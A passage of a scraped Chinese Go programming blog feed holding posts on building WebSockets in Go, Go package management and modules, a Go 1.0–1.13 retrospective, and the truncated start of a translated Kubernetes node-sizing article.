http.ResponseWriter, r *http.Request) { ws, err := NewHandler(w, r) if err != nil { // handle error } if err = ws.Handshake(); err != nil { // handle error } … 然后初始化WebSocket结构。\n初始握手请求始终来自客户端。服务器确定了WebSocket请求后，需要使用握手响应进行回复。\n请记住，您无法使用http.ResponseWriter编写响应，因为一旦开始发送响应，它将关闭基础TCP连接。\n因此，您需要使用HTTP劫持(hijack)。通过劫持，您可以接管基础的TCP连接处理程序和bufio.Writer。这使您可以在不关闭TCP连接的情况下读取和写入数据。\n// NewHandler initializes a new handler func NewHandler(w http.ResponseWriter, req *http.Request) (*WS, error) { hj, ok := w.(http.Hijacker) if !ok { // handle error } ..... } 要完成握手，服务器必须使用适当的头进行响应。\n// Handshake creates a handshake header func (ws *WS) Handshake() error { hash := func(key string) string { h := sha1.New() h.Write([]byte(key)) h.Write([]byte(\u0026quot;258EAFA5-E914-47DA-95CA-C5AB0DC85B11\u0026quot;)) return base64.StdEncoding.EncodeToString(h.Sum(nil)) }(ws.header.Get(\u0026quot;Sec-WebSocket-Key\u0026quot;)) ..... } “Sec-WebSocket-key”是随机生成的，并且是Base64编码的。接受请求后，服务器需要将此密钥附加到固定字符串。假设您有x3JJHMbDL1EzLkh9GBhXDw== 钥匙。在这个例子中，可以使用SHA-1计算二进制值，并使用Base64对其进行编码。假设你得到HSmrc0sMlYUkAGmm5OPpG2HaGWk=。使，用它作为Sec-WebSocket-Accept 响应头的值。\n传输数据帧 握手成功完成后，您的应用程序可以从客户端读取数据或向客户端写入数据。WebSocket规范定义了的一个客户机和服务器之间使用的特定帧格式。这是框架的位模式：\n图:传输数据帧的位模式\n使用以下代码对客户端有效负载进行解码：\n// Recv receives data and returns a Frame func (ws *WS) Recv() (frame Frame, _ error) { frame = Frame{} head, err := ws.read(2) if err != nil { // handle error } 反过来，这些代码行允许对数据进行编码：\n// Send sends a Frame func (ws *WS) Send(fr Frame) error { // make a slice of bytes of length 2 data := make([]byte, 2) // Save fragmentation \u0026amp; opcode information in the first byte data[0] = 0x80 | fr.Opcode if fr.IsFragment { data[0] \u0026amp;= 0x7F } ..... 关闭握手 当各方之一发送状态为关闭的关闭帧作为有效负载时，握手将关闭。可选地，发送关闭帧的一方可以在有效载荷中发送关闭原因。如果关闭是由客户端发起的，则服务器应发送相应的关闭帧作为响应。\n// Close sends a close frame and closes the TCP connection func (ws *Ws) Close() error { f := Frame{} f.Opcode = 8 f.Length = 2 f.Payload = make([]byte, 2) binary.BigEndian.PutUint16(f.Payload, ws.status) if err := ws.Send(f); err != nil { return err } return ws.conn.Close() } WebSocket库列表 有几个第三方库可简化开发人员的开发工作，并极大地促进使用WebSockets。\nSTDLIB（golang.org/x/net/websocket） 此WebSocket库是标准库的一部分。如RFC 6455规范中所述，它为WebSocket协议实现了客户端和服务器。它不需要安装并且有很好的官方文档。但是，另一方面，它仍然缺少其他WebSocket库中可以找到的某些功能。/x/net/websocket软件包中的Golang WebSocket实现不允许用户以明确的方式重用连接之间的I/O缓冲区。\n让我们检查一下STDLIB软件包的工作方式。这是用于执行基本功能（如创建连接以及发送和接收消息）的代码示例。\n首先，要安装和使用此库，应将以下代码行添加到您的：\nimport \u0026quot;golang.org/x/net/websocket\u0026quot; 客户端：\n// create connection // schema can be ws:// or wss:// // host, port – WebSocket server conn, err := websocket.Dial(\u0026quot;{schema}://{host}:{port}\u0026quot;, \u0026quot;\u0026quot;, op.Origin) if err != nil { // handle error } defer conn.Close() ....... // send message if err = websocket.JSON.Send(conn, {message}); err != nil { // handle error } ....... // receive message // messageType initializes some type of message message := messageType{} if err := websocket.JSON.Receive(conn, \u0026amp;message); err != nil { // handle error } ....... 服务器端：\n// Initialize WebSocket handler + server mux := http.NewServeMux() mux.Handle(\u0026quot;/\u0026quot;, websocket.Handler(func(conn *websocket.Conn) { func() { for { // do something, receive, send, etc. } } ....... // receive message // messageType initializes some type of message message := messageType{} if err := websocket.JSON.Receive(conn, \u0026amp;message); err != nil { // handle error } ....... // send message if err := websocket.JSON.Send(conn, message); err != nil { // handle error } ........ GORILLA Gorilla Web工具包中的WebSocket软件包拥有WebSocket协议的完整且经过测试的实现以及稳定的软件包API。WebSocket软件包文档齐全，易于使用。您可以在Gorilla官方网站上找到文档。\n安装\ngo get github.com/gorilla/websocket Examples of code Client side: // init // schema – can be ws:// or wss:// // host, port – WebSocket server u := url.URL{ Scheme: {schema}, Host: {host}:{port}, Path: \u0026quot;/\u0026quot;, } c, _, err := websocket.DefaultDialer.Dial(u.String(), nil) if err != nil { // handle error } ....... // send message err := c.WriteMessage(websocket.TextMessage, {message}) if err != nil { // handle error } ....... // receive message _, message, err := c.ReadMessage() if err != nil { // handle error } ....... 服务器端：\n// init u := websocket.Upgrader{} c, err := u.Upgrade(w, r, nil) if err != nil { // handle error } ....... // receive message messageType, message, err := c.ReadMessage() if err != nil { // handle error } ....... // send message err = c.WriteMessage(messageType, {message}) if err != nil { // handle error } ....... GOBWAS 这个微小的WebSocket封装具有强大的功能列表，例如零拷贝升级(zero-copy upgrade)和允许构建自定义数据包处理逻辑的低级API。GOBWAS在I/O期间不需要中间做额外分配操作。它还在wsutil软件包中提供了围绕API的高级包装API和帮助API，使开发人员可以快速使用，而无需深入研究协议的内部。该库具有灵活的API，但这是以可用性和清晰度为代价的。\n可在GoDoc网站上找到文档。您可以通过下面代码行来安装它：\ngo get github.com/gobwas/ws 客户端：\n// init // schema – can be ws or wss // host, port – ws server conn, _, _, err := ws.DefaultDialer.Dial(ctx, {schema}://{host}:{port}) if err != nil { // handle error } ....... // send message err = wsutil.WriteClientMessage(conn, ws.OpText, {message}) if err != nil { // handle error } ....... // receive message msg, _, err := wsutil.ReadServerData(conn) if err != nil { // handle error } ....... 服务器端：\n// init listener, err := net.Listen(\u0026quot;tcp\u0026quot;, op.Port) if err != nil { // handle error } conn, err := listener.Accept() if err != nil { // handle error } upgrader := ws.Upgrader{} if _, err = upgrader.Upgrade(conn); err != nil { // handle error } ....... // receive message for { reader := wsutil.NewReader(conn, ws.StateServerSide) _, err := reader.NextFrame() if err != nil { // handle error } data, err := ioutil.ReadAll(reader) if err != nil { // handle error } ....... } ....... // send message msg := \u0026quot;new server message\u0026quot; if err := wsutil.WriteServerText(conn, {message}); err != nil { // handle error } ....... GOWebsockets 该工具提供了广泛的易于使用的功能。它允许并发控制，数据压缩和设置请求标头。GoWebsockets支持代理和子协议，用于发送和接收文本和二进制数据。开发人员还可以启用或禁用SSL验证。\n您可以在GoDoc网站和项目的GitHub页面上找到有关如何使用GOWebsockets的文档和示例。通过添加以下代码行来安装软件包：\ngo get github.com/sacOO7/gowebsocket 客户端：\n// init // schema – can be ws or wss // host, port – ws server socket := gowebsocket.New({schema}://{host}:{port}) socket.Connect() ....... // send message socket.SendText({message}) or socket.SendBinary({message}) ....... // receive message socket.OnTextMessage = func(message string, socket gowebsocket.Socket) { // hande received message }; or socket.OnBinaryMessage = func(data [] byte, socket gowebsocket.Socket) { // hande received message }; ....... 服务器端：\n// init // schema – can be ws or wss // host, port – ws server conn, _, _, err := ws.DefaultDialer.Dial(ctx, {schema}://{host}:{port}) if err != nil { // handle error } ....... // send message err = wsutil.WriteClientMessage(conn, ws.OpText, {message}) if err != nil { // handle error } ....... // receive message msg, _, err := wsutil.ReadServerData(conn) if err != nil { // handle error } 比较现有解决方案 我们已经描述了Go中使用最广泛的四个WebSocket库。下表包含这些工具的详细比较。\n图 Websocket库比较\n为了更好地分析其性能，我们还进行了一些基准测试。结果如下：\n如您所见，GOBWAS与其他库相比具有明显的优势。每个操作分配的内存更少，每个分配使用的内存和时间更少。另外，它的I/O分配为零。此外，GOBWAS还具有创建WebSocket客户端与服务器的交互并接收消息片段所需的所有方法。您也可以使用它轻松地使用TCP套接字。\n如果您真的不喜欢GOBWAS，则可以使用Gorilla。它非常简单，几乎具有所有相同的功能。您也可以使用STDLIB，但由于它缺少许多必要的功能，并且在生产中表现不佳，而且正如您在基准测试中所看到的那样，它的性能较弱。GOWebsocket与STDLIB大致相同。但是，如果您需要快速构建原型或MVP，则它可能是一个合理的选择。\n除了这些工具之外，还有几种替代实现可让您构建强大的流处理解决方案。其中有：\ngo-socket.io Apache Thrift gRPC package rpc 流技术的不断发展以及WebSockets等文档较好的可用工具的存在，使开发人员可以轻松创建真正的实时应用程序。 如果您需要使用WebSockets创建实时应用程序的建议或帮助，请给我们写信。希望本教程对您有所帮助。\n本文翻译自《How to Use Websockets in Golang : Best Tools and Step-by-Step Guide》。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/09/28/how-to-build-websockets-in-go/","summary":"\u003cp\u003e如今，在不刷新页面的情况下发送消息并获得即时响应在我们看来是理所当然的事情。但是曾几何时，启用实时功能对开发人员来说是一个真正的挑战。开发社区在HTTP长轮询(http long polling)和\u003ca href=\"https://en.wikipedia.org/wiki/Ajax_%28programming%29\"\u003eAJAX\u003c/a\u003e上走了很长一段路，但终于还是找到了一种构建真正的实时应用程序的解决方案。\u003c/p\u003e","title":"如何在Go语言中使用Websockets：最佳工具与行动指南"},{"content":"\n包管理是Go一直被诟病做得不好的功能之一。先前版本（go 1.11之前）的主要缺点之一是go get是缺乏对依赖包版本的管理和对可复制构建(reproducible build)的支持。Go社区已经开发了一些包管理器和工具作为版本化包依赖的事实标准解决方案，如glide，dep以及一些辅助工具等。\n“我在生产构建中使用go get。” – 没有人这么说过。\nGo语言的包管理实现可追溯到Google公司内的代码依赖管理（Google将内部所有源代码都存放在一个巨大的单体存储库中）。我们来分析一下在”Go module”之前Go语言的包管理工具都出了什么问题。\n依赖包的版本化 依赖包的本地缓存(vendor) GOPATH的必要性 依赖包的版本化 go get默认情况下不支持包版本控制。go软件包管理的第一版实现背后的想法是-不需要包版本控制，不需要第三方包存储库，您可以从当前分支中构建所有内容。\n在Go 1.11之前的版本中，添加依赖项意味着将该依赖项的源代码仓库克隆到$GOPATH下面。就是这样，没有版本的概念。版本始终指向克隆时刻的主分支。出现了另一个主要问题是，当不同的项目需要依赖包的不同版本时，Go包管理工具无法实现。\n依赖包的本地缓存(vendor) 依赖包本地缓存通常是指相关依赖包与项目存储在同一位置。这通常意味着将您的依赖项源码也提交到源管理系统中，例如Git。\n考虑这样一种情况- A使用依赖项B，而B使用了C版本在1.5版本中引入一个功能，这时B必须确保A在构建时使用的也是C 1.5或更高版本。在Go 1.5之前的版本中，没有一种机制可以在不重写导入路径的情况下将依赖包代码与命令绑定在一起。\nGOPATH的必要性 GOPATH存在的主要原因有两个：\n在Go中，import声明通过其完全限定的导入路径来引用包。GOPATH存在可以方便Go工具计算GOPATH/src内的任何目录所涉及软件包的绝对导入路径。 它是Go get命令存储包依赖项的位置。 这有什么问题？\nGOPATH 不允许开发人员像其他语言一样选择任意喜欢的目录签出项目的源代码。 此外，GOPATH不允许开发人员同时检出某个项目（或其依赖项）的多个副本。 Go Module介绍 Go 1.11引入了对Go模块(module)的初步支持。下面摘自Go Wiki：\n一个模块是一组相关的Go包的集合，这个包集合被当做一个独立的单元进行统一版本管理。模块精确记录了依赖要求并支持创建可复制的构建。\nGo模块带来了三个重要的内置功能：\ngo.mod文件，它与package.json或Pipfile文件的功能类似。\n机器生成的传递依赖项描述文件 – go.sum。\n不再有GOPATH限制。模块可以位于任何路径中。\n$ go help mod Go mod provides access to operations on modules.\nNote that support for modules is built into all the go commands, not just \u0026lsquo;go mod\u0026rsquo;. For example, day-to-day adding, removing, upgrading, and downgrading of dependencies should be done using \u0026lsquo;go get\u0026rsquo;. See \u0026lsquo;go help modules\u0026rsquo; for an overview of module functionality.\nUsage:\ngo mod \u0026lt;command\u0026gt; [arguments] The commands are:\ndownload download modules to local cache edit edit go.mod from tools or scripts graph print module requirement graph init initialize new module in current directory tidy add missing and remove unused modules vendor make vendored copy of dependencies verify verify dependencies have expected content why explain why packages or modules are needed Use \u0026ldquo;go help mod \u0026rdquo; for more information about a command.\n更多相关讨论在这里。\n迁移到Go Module 要使用Go模块，请更新Go到1.11及以上版本。由于不再需要GOPATH，因此可以通过以下两种方式之一激活模块支持(译注：下面的行为仅适用于Go 1.11~Go 1.12，Go 1.13版本默认开启Go module，无论是否在GOPATH下，除非GO111MODULE=off)：\n在GOPATH/src之外的目录中调用Go命令，并在当前目录中存在一个有效的go.mod文件。 如果源码在GOPATH之下，Go模块将不起作用。要改变此行为，请设置环境变量GO111MODULE=on后再调用Go命令。 让我们通过以下简单的步骤开始迁移：\n由于GOPATH不再必要的了，将module移出GOPATH。\n在项目根目录中，创建初始模块定义 – go mod init github.com/username/repository。go mod还会自动转换现有的包管理器（如dep和Gopkg，glide以及其他六种）的依赖关系。这将创建一个名为go.mod的文件，该文件存储了模块名以及模块的依赖项及其版本。\n$ cat go.mod module github.com/deepsourcelabs/cli\ngo 1.12\nrequire ( github.com/certifi/gocertifi v0.0.0-20190410005359-59a85de7f35e github.com/getsentry/raven-go v0.2.0 github.com/pkg/errors v0.0.0-20190227000051-27936f6d90f9 )\n运行go build会创建一个go.sum文件，其中包含特定模块版本的内容的预期校验和。这是为了确保这些模块将来的下载内容与第一次下载是相同的。请注意，go.sum不是锁文件。\n$ cat go.sum github.com/certifi/gocertifi v0.0.0-20190410005359-59a85de7f35e h1:9574pc8MX6rF/QyO14SPHhM5KKIOo9fkb/1ifuYMTKU= github.com/certifi/gocertifi v0.0.0-20190410005359-59a85de7f35e/go.mod h1:GJKEexRPVJrBSOjoqN5VNOIKJ5Q3RViH6eu3puDRwx4= github.com/getsentry/raven-go v0.2.0 h1:no+xWJRb5ZI7eE8TWgIq1jLulQiIoLG0IfYxv5JYMGs= github.com/getsentry/raven-go v0.2.0/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ= github.com/pkg/errors v0.0.0-20190227000051-27936f6d90f9 h1:dIsTcVF0w9viTLHXUEkDI7cXITMe+M/MRRM2MwisVow= github.com/pkg/errors v0.0.0-20190227000051-27936f6d90f9/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=\n关于版本控制的注意事项：为了保持向后兼容性，如果模块的版本为v2或更高版本，则模板的主版本必须以/vN的形式被包含在go.mod文件中使用的模块路径的末尾。比如：module github.com/username/repository/v2\n日常命令 列出依赖项 go list -m all 列出当前模块及其所有依赖项。\n$ go list -m all github.com/deepsourcelabs/cli github.com/certifi/gocertifi v0.0.0-20190410005359-59a85de7f35e github.com/getsentry/raven-go v0.2.0 github.com/pkg/errors v0.0.0-20190227000051-27936f6d90f9 在go list输出中，当前模块（也称为主模块）始终是第一行，其后是路径排序所有依赖模块。\n列出软件包的可用版本 go list -m -versions github.com/username/repository 列出软件包的可用版本。\n$ go list -m -versions github.com/getsentry/raven-go github.com/getsentry/raven-go v0.1.0 v0.1.1 v0.1.2 v0.2.0 添加依赖 添加依赖项是隐式的。在代码中导入依赖项后，运行go build或go test命令将获取模块的最新版本并将其添加到go.mod文件中。如果要显式添加依赖项，请运行go get github.com/username/repository。\n依赖项的升级/降级 go get github.com/username/repository@vx.x.x下载并设置依赖项和更新go.mod文件的特定版本。\n$ go get github.com/getsentry/raven-go@v0.1.2 go: finding github.com/getsentry/raven-go v0.1.2 go: downloading github.com/getsentry/raven-go v0.1.2 go: extracting github.com/getsentry/raven-go v0.1.2 $ cat go.mod module github.com/deepsourcelabs/marvin-go go 1.12 require ( github.com/certifi/gocertifi v0.0.0-20190410005359-59a85de7f35e github.com/getsentry/raven-go v0.1.2 github.com/pkg/errors v0.0.0-20190227000051-27936f6d90f9 ) $ cat go.sum github.com/certifi/gocertifi v0.0.0-20190410005359-59a85de7f35e h1:9574pc8MX6rF/QyO14SPHhM5KKIOo9fkb/1ifuYMTKU= github.com/certifi/gocertifi v0.0.0-20190410005359-59a85de7f35e/go.mod h1:GJKEexRPVJrBSOjoqN5VNOIKJ5Q3RViH6eu3puDRwx4= github.com/getsentry/raven-go v0.1.2 h1:4V0z512S5mZXiBvmW2RbuZBSIY1sEdMNsPjpx2zwtSE= github.com/getsentry/raven-go v0.1.2/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ= github.com/getsentry/raven-go v0.2.0 h1:no+xWJRb5ZI7eE8TWgIq1jLulQiIoLG0IfYxv5JYMGs= github.com/getsentry/raven-go v0.2.0/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ= github.com/pkg/errors v0.0.0-20190227000051-27936f6d90f9 h1:dIsTcVF0w9viTLHXUEkDI7cXITMe+M/MRRM2MwisVow= github.com/pkg/errors v0.0.0-20190227000051-27936f6d90f9/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= vendor依赖项 使用模块时，go命令将完全忽略vendor目录。为了向后兼容旧版Go，或确保将用于构建的所有文件一起存储在单个文件树中，请运行go mod vendor。\n这将在主模块的根目录中创建一个vendor目录，并将依赖模块中的所有软件包存储在该目录中。\n注意：要使用主模块的顶级vendor目录进行构建，请运行’go build -mod=vendor’。\n删除未使用的依赖项 go mod tidy将删除未使用的依赖项并更新go.mod文件。\n常见问题解答 GOPATH不再需要了？\n是，永别了GOPATH。\n默认情况下拉取哪个版本？\ngo.mod文件和go命令通常将语义版本用作描述模块版本的标准形式，以便可以比较版本以确定哪个版本应早于或晚于其他版本。v1.2.3通过在基础源存储库中标记(tag)修订来引入类似的模块版本。未标记(untag)的修订版可以使用“伪版本”之类的来引用：v0.0.0-yyyymmddhhmmss-abcdefabcdef，其中时间是UTC的提交时间，最后的后缀是提交哈希的前缀。\ngo.sum应该被检入到版本库中吗？\n是。\n鉴于本人近期较忙，又不希望让博客长草，近一段时间会挑选翻译一些笔者认为比较优秀的外文文章分享给大家。\n本文翻译自《Package management in Go – brief overview of package management in Go — pre and post Go modules》。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/09/21/brief-history-of-go-package-management/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-package-management-history.png\"\u003e\u003c/p\u003e\n\u003cp\u003e包管理是Go一直被诟病做得不好的功能之一。先前版本（\u003ca href=\"https://tonybai.com/2018/11/19/some-changes-in-go-1-11/\"\u003ego 1.11\u003c/a\u003e之前）的主要缺点之一是go get是缺乏对依赖包版本的管理和对可复制构建(reproducible build)的支持。Go社区已经开发了一些包管理器和工具作为版本化包依赖的事实标准解决方案，如\u003ca href=\"https://github.com/Masterminds/glide\"\u003eglide\u003c/a\u003e，\u003ca href=\"https://tonybai.com/2017/06/08/first-glimpse-of-dep\"\u003edep\u003c/a\u003e以及一些\u003ca href=\"https://github.com/golang/go/wiki/PackageManagementTools\"\u003e辅助工具\u003c/a\u003e等。\u003c/p\u003e","title":"Go语言包管理简史"},{"content":"Go 1.13版本在2019.9.3正式发布！国外的Gopher Vincent Blanchon发表了一篇文章《Go: Retrospective》(科学上网阅读)，对Go从1.0版本到1.13版本做了简要的回顾，这里是那篇文章的译文。\n对于每一位Go开发者来说，Go语言的演化历程是必须要知道的事情。了解这些横跨年份发布的大版本的主要变化将有助于Gopher理解Go语言的发展理念以及该语言每个版本的优势与不足。更多关于特定版本的变更细节，可以参考每个版本对应的Changelog。\nGo 1.0 – 2012.3月 伴随着Go语言的第一个版本，Go的缔造者还发布了一份兼容性文档。该文档保证未来的Go版本将保持向后兼容性（backward-compatible)，即始终兼容已有的代码，保证已有代码在Go新版本下编译和运行的正确性。\nGo 1.0版本还包含了go tool pprof命令，这是一个Google pprof C++ profiler的变体。Go 1.0还提供了go vet命令(之前的go tool vet)，用于报告Go package中可能的错误。\nGo 1.1 – 2013.5月 该版本主要专注于语言改善和性能提升（编译器、垃圾回收、map、goroutine调度）。这里是一个改善后的效果示意图：\n图来自https://dave.cheney.net/2013/05/21/go-11-performance-improvements\n这个版本同时还嵌入了一个竞态探测器(race detector)，这个工具对于Go这种原生并发的语言是十分必要的。在《Race Detector with ThreadSanitizer”》一文中，你可以找到有关race detector的更多详细信息。\n在这个版本中的一个重点变动是Goroutine调度器被重写了，重写后的调度器性能大幅提升。\n重写后的Go调度器的设计如下图：\n图来自 https://rakyll.org/scheduler/\nM对应的是操作系统的线程。P表示一个处理器（P的数量不能超过GOMAXPROCS)，每个P拥有一个本地goroutine队列。在1.1版本之前，P这个抽象并不存在。所有goroutine的调度通过全局互斥锁进行全局级别的管理。这次改进实现了”work-stealing”算法，允许某个P从其他P的队列中”偷goroutine”：\n图来自 https://rakyll.org/scheduler/\n更多关于Go调度器调度原理以及”work-stealing”算法的信息，可以查看Jaana B. Dogan的文章《Go’s work-stealing scheduler》。\nGo 1.2 – 2013.12 在该版本中，Go test命令开始支持代码测试覆盖率统计了，并且通过go提供的新子命令: go tool cover可以查看代码测试覆盖率统计信息：\n图来自 https://blog.golang.org/cover\n它还能提供代码覆盖信息：\n图来自 https://blog.golang.org/cover\nGo 1.3 – 2014.6 该版本包含了栈管理的一个重要改进。在该版本中，栈内存分配采用**连续段(contiguous segment)**的分配模式以提升内存分配效率。这将为下一个版本将栈size降到2KB奠定基础。之前的分割栈分配方式(segment stack)存在频繁分配/释放栈段导致栈内存分配性能不稳定(较低)的问题，引入新机制后，分配稳定性和性能都有较大改善。\n这里是一个json包的例子，图中显示json包对栈size的敏感度：\n图来自 contiguous stack\n使用连续段的栈内存分配管理模式解决了一些程序性能低下的问题。下面是html/template包的性能对stack size的敏感度图：\n更多信息可参见[《How Does the Goroutine Stack Size Evolve?”》(https://medium.com/@blanchon.vincent/go-how-does-the-goroutine-stack-size-evolve-447fc02085e5)]。\n这个版本还发布了sync.Pool。这个组件允许我们后面重用结构体，减少内存分配的次数。它也将成为Go生态圈中许多性能提升的源头，比如：标准库中的encoding/json、net/http或是Go社区中的zap等。\n关于sync.Pool的更多信息，可以参考文章《Understand the Design of Sync.Pool》。\nGo开发组在该版本中对channel进行了优化改善，使其性能获得提升。下面是channel在Go 1.2和Go 1.3版本中的基准测试数据对比：\nGo 1.4 – 2014.12 在该版本中，Go提供了对Android的官方支持。使用golang.org/x/mobile包，gopher们可以使用Go编写简单的Android应用。\n同时，之前版本中大量用C语言和汇编语言实现的运行时已经被翻译为Go，一个更为精确的垃圾回收器让堆内存分配减少了10~30%。\n和版本自身无关的是，Go工程在本次发布后已经从Mercurial迁移到Git，从Google code迁移到github。\nGo还发布了go generate命令，该命令可以通过扫码代码中的//go:generate指示器来生成代码，可以帮助Gopher简化代码生成工作。\n更多关于这方面的信息可以参考Go blog和这篇文章《Generating code》。\nGo 1.5 – 2015.8 这个新版本推迟了两个月发布，目的是适应Go新的开发发布周期：每年二月和八月进行发布:\n图来自：https://github.com/golang/go/wiki/Go-Release-Cycle\n在该版本中，垃圾回收器被全面重构。由于引入并发回收器，回收阶段带来的延迟大幅减少。下面是来自一个生产环境服务器上的延迟数据，我们看到延迟从300ms降到了30ms：\n图片来自 https://blog.golang.org/ismmkeynote\n这个版本还发布go tool trace命令，通过该命令我们可以实现执行器的跟踪(trace)。这些跟踪是在test执行、运行时生成的，跟踪信息可以通过浏览器呈现：\n图片来自原始Go Execution Tracer文档\nGo 1.6 – 2016.2 这个版本的最显著变化是当使用HTTPS时，将默认支持HTTP/2。\n垃圾回收器的延迟在该版本中进一步降低：\n图片来自https://blog.golang.org/ismmkeynote\nGo 1.7 – 2016.8 这个版本发布了context包。该包用于处理timeout和取消任务。\n更多关于context包的信息，可参考文章：《Context and Cancellation by Propagation》。\n编译器工具链的性能得到了较大幅度优化，编译速度更快，二进制文件size更小，有些时候幅度可达20~30%。\nGo 1.8 – 2017.2 垃圾回收器的延迟在该版本中进一步改善，延迟时间已经全面降到毫秒级别以下：\n图片来自https://blog.golang.org/ismmkeynote\n对延迟的优化还将继续。接下来版本的目标是将延迟降到100微秒左右。\n这个版本还大幅提升了defer的性能：\n图片来自 https://medium.com/@blanchon.vincent/go-how-does-defer-statement-work-1a9492689b6e\n更多关于defer的信息，可以参考文章How Does Defer statement Work?。\nGo 1.9 – 2017.8 该版本引入了alias语法。\ntype byte = uint8 这里byte是unit8的一个alias。\nsync包增加了Map类型，该类型支持并发访问（原生map类型不支持）。\n关于map的更多信息，参考文章“Concurrency Access with Maps”。\nGo 1.10 – 2018.2 在该版本中，test包引入了一个新的缓存机制，所有通过测试的结果都将被缓存下来。当test没有变化时，重复执行test会节省大量运行test的时间。\nfirst run: ok /go/src/retro 0.027s second run: ok /go/src/retro (cached) go build命令也维护了一个已构建的包的缓存以加速构建性能。\n该版本中垃圾回收器并没有显著性能提升。但是Go team为垃圾回收定义了一个新的SLO(Service-Level Objective)：\n图片来自https://blog.golang.org/ismmkeynote\nGo 1.11 – 2018.8 Go 1.11引入了一个重要的新功能：Go modules。Go module的引入是为了应对过去几年官方调查问卷结果中Go社区反馈的几个主要挑战：\n图片来自 https://blog.golang.org/survey2018-results\n另外一个重要功能是一个试验功能：支持WebAssembly。允许开发人员将Go源码编译成一个兼容四个主流浏览器的二进制格式文件。\nGo 1.12 – 2019.2 该版本中，go vet基于analysis包进行了重写，使得go vet更为灵活并支持Go开发人员编写自己的checker。\n更多关于analyzer的信息可以参考文章《How to Build Your Own Analyzer》。\nGo 1.13 – 2019.8 在该版本中，sync.Pool得到了改善：当垃圾回收时，pool中对象不会被完全清理掉。它引入了一个cache，用于在两次GC之前清理pool中未使用的对象实例。\n逃逸分析(escape analysis)被重新实现了，在该版本中，Go得意更少地在堆上分配内存了。下面是新旧逃逸分析的基准测试对比：\n图片来自 https://github.com/golang/go/issues/23109\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/09/07/go-retrospective/","summary":"\u003cp\u003e\u003ca href=\"https://tip.golang.org/doc/go1.13\"\u003eGo 1.13版本\u003c/a\u003e在2019.9.3\u003ca href=\"https://blog.golang.org/go1.13\"\u003e正式发布\u003c/a\u003e！国外的Gopher Vincent Blanchon发表了一篇文章\u003ca href=\"https://medium.com/a-journey-with-go/go-retrospective-b9723352e9b0\"\u003e《Go: Retrospective》\u003c/a\u003e(科学上网阅读)，对Go从1.0版本到1.13版本做了简要的回顾，这里是那篇文章的译文。\u003c/p\u003e","title":"Go语言回顾：从Go 1.0到Go 1.13"},{"content":" 近期learnk8s网站上发布了一些关于k8s的好文章，这里搬运并翻译了一些，供大家参考。\n本文翻译自《Architecting Kubernetes clusters — choosing a worker node size》。\n当您创建Kubernetes集群时，冒出的第一个问题之一是：“我应该使用哪种类型的工作节点以及需要多少个这样的节点”。\n如果您正在构建在内部部署的k8s集群，是应该订购一些最近一代的新服务器，还是使用数据中心内的十几台旧机器？\n或者，如果您使用Google Kubernetes Engine（GKE）等托管Kubernetes服务，您是否应该使用八个n1-standard-1或两个n1-standard-4实例来实现所需的计算能力呢？\n集群容量 通常，Kubernetes集群可以被视为将一组单个节点抽象为一个大的“超级节点”。\n该超级节点的总计算容量（就CPU和内存而言）是所有组成节点容量的总和。\n有多种方法可以实现集群的所需目标容量。\n例如，假设您需要一个总容量为8个CPU内核和32 GB RAM的集群。\n例如，因为要在集群上运行的应用程序集需要如此数量的资源。\n以下是设计集群的两种可能方法：\n这两个选项都会产生具有相同容量的集群 – 